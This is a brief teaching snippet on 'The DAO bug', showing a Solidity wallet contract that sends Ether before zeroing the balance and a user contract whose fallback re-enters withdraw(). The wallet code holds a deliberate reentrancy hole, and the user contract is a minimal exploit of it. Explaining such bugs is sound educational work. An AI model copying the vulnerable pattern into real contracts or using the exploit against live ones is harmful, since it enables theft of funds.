The DAO bug

User contract

```
function foo() {
  wallet.withdraw();
}

function () payable {
  wallet.withdraw();
}
```

Wallet contract

```
mapping(address => uint256) balances;

function withdraw(){
  if(balances[msg.sender] > 0)
     msg.sender.call.value(balances[msg.sender])();
  balances[msg.sender] = 0;
}
```

Transaction 1: foo()